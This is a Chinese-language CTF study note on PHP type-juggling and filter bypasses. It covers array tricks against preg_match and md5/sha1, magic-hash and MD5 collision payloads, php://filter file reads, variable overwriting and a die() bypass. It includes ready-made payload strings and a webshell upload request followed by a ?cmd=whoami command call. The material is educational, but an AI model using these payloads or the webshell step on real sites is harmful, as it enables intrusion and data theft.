PHP特性总结
PHP特性总结
数组绕过正则表达式
| 1 | if(preg_match("/[0-9]/", $num)){ | 
preg_match("/[0-9]/", $num)
- 作用:检查 $num是否包含 数字 0-9
- 如果包含,就 die("no no no!");终止程序
- 如果不包含,执行 elseif (intval($num))
intval($num)
- 作用:尝试将 $num转换为整数
- 如果转换结果为真(非 0),就输出 $flag
- 如果转换结果为 0,则不输出 $flag
preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句
| 1 | payload: num[]=1 | 
[!IMPORTANT]
num[]=1绕过原理分析
- 绕过
preg_match()当你传递
num[]=1作为参数时,$num变成了一个包含单个元素的数组:array(1)。
preg_match("/[0-9]/", $num)试图在数组中查找数字,然而preg_match()只接受字符串类型作为参数,因此它会触发一个警告并返回false。由于警告不会阻止代码继续执行,preg_match()不会成功匹配数字,导致代码继续进入elseif分支。
- 触发
intval($num)对于
intval($num),如果$num是一个 非空数组(比如array(1)),PHP 会将其转化为 **1**,因此条件intval($num)会成立,进入elseif分支并触发echo $flag。
intval函数的使用
| 1 | if($num==="4476"){ | 
intval( mixed $value, int $base = 10) : int
- 当 base参数的值为0时,intval()会根据输入字符串的 前缀 自动推断进制
- 如果字符串以 0x或0X开头,则该字符串会被视为 十六进制 数字
- 如果字符串以 0开头,则该字符串会被视为 八进制 数字
- 其他情况,则会将该字符串视为 十进制 数字
用科学计数法绕过
| 1 | intval('4476.0')===4476 小数点 | 
| 1 | payload: num=4476.0 | 
正则表达式修饰符
| 1 | if(preg_match('/^php$/im', $a)){ | 
i(不区分大小写):意味着 php、PHP、PhP 都能匹配。
m(多行模式):
- ^代表 每一行 的开头,而不是整个字符串的开头。
- $代表 每一行 的结尾,而不是整个字符串的结尾。
如果 $a 满足第一个条件 /^php$/im(不区分大小写且支持多行匹配),就进入内部的判断。
- 如果 $a仅等于"php"(不区分大小写),则输出"hacker"。
- 如果 $a满足第一个正则表达式,但不完全等于"php",则输出$flag。
如果 $a 没有匹配第一个条件 /^php$/im,则输出 "nonononono"。
| 1 | payload: %0aphp 或 php%0aphp | 
highlight_file路径
| 1 | if($_GET['u']=='flag.php'){ | 
if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:
| 1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php php伪协议 | 
md5比较缺陷
| 1 | if ($_POST['a'] != $_POST['b']) { | 
我们需要找到两个 不相等的值,但它们的 md5() 计算结果相同,即 MD5 碰撞
md5弱比较
不同数据强相等(===)
未使用强制类型转化
MD5无法处理数组,如果传入数组则返回NULL,两个NULL是强相等的
| 1 | payload: a[]=1&b[]=2 | 
不同数据弱相等(==)
| 1 | payload: a=QNKCDZO&b=240610708 | 
科学记数法绕过
0e 开头的字符串会被 PHP 识别为 科学记数法,并转换为数字 0,只需找两个md5后都为0e开头且0e
后面均为数字的值即可
| 1 | payload:a=0e215962017&b=0e0 | 
md5强碰撞
| 1 | $a = (string)$a; | 
这里的条件要求 $a 和 $b 必须 不相等,但它们的 MD5 哈希值相同
| 1 | a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 | 
sha1比较缺陷
| 1 | if($a==$b){ | 
sha1无法处理数组,如上可使用a[]=1&b[]=1数组绕过
如果强制类型转换,则不接受数组,找真正的编码后相同的
| 1 | aaroZmOk | 
三目运算符的理解+变量覆盖
| 1 | $_GET?$_GET=&$_POST:'flag'; | 
| 1 | $_GET ? $_GET = &$_POST : 'flag'; | 
果 $_GET 数组不为空,则将 $_GET 的引用赋值给 $_POST即$_GET 和 $_POST 会指向相同的数据
| 1 | $_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag'; | 
如果 $_GET['flag'] 的值为 'flag',则将 $_GET 数组的引用赋值给 $_COOKIE即$_GET 和 $_COOKIE 将指向相同的数据
| 1 | $_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag'; | 
如果 $_GET['flag'] 的值为 'flag',则将 $_GET 数组的引用赋值给 $_SERVER。这使得 $_GET 和 $_SERVER 指向相同的数据
| 1 | highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__); | 
该行会高亮显示文件内容,条件是 $_GET['HTTP_FLAG'] 等于 'flag'。如果条件为真,它会显示 $flag 变量的内容;否则,它会显示当前脚本文件的内容
| 1 | payload: | 
php弱类型比较
| 1 | $allow = array(); | 
| 1 | payload: | 
如:
假设我们找到了合法的 $_GET['n']=123,我们可以上传 Webshell:
| 1 | POST /vuln.php?n=123 HTTP/1.1 | 
然后访问:
| 1 | http://target.com/123?cmd=whoami | 
and与&&的区别
| 1 | $a = false && true; | 
false && true 先计算 false && true(结果是 false),然后赋值给 $a。
false and true 先执行 $b = false,然后 true 没有影响。
PHP双$($$)的变量覆盖
在双写$的时候,属于动态变量,就是后面的变量值作为新的变量名
| 1 | $test="a23"; $test等于a23 | 
parse_str函数的使用
parse_str会把字符串解析为变量,大部分是传入的多个值
| 1 | $a="q=123&p=456"; | 
trim函数的绕过+is_numeric绕过
trim() 函数用于去除字符串两端的空白字符(包括空格、制表符、换行符等)
trim默认时没有剔除%0c(换页符)
| 1 | if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){ | 
| 1 | payload: num=%0c36 | 
绕过死亡die
| 1 | function filter($x){ | 
| 1 | payload: | 
这会将字符两位两位交换,file_put_contents在写入的时候会破坏那句die,但contents那句恢复原貌,
可以执行
gettext拓展的使用
| 1 | var_dump(call_user_func($f1,$f2)); | 
如以上代码,多重过滤后,f1可以为 gettext ,f2可以为 phpinfo ,如果过滤更为严格,更改ini文件里
的拓展后, _() 等效于 gettext()
| 1 | <?php | 
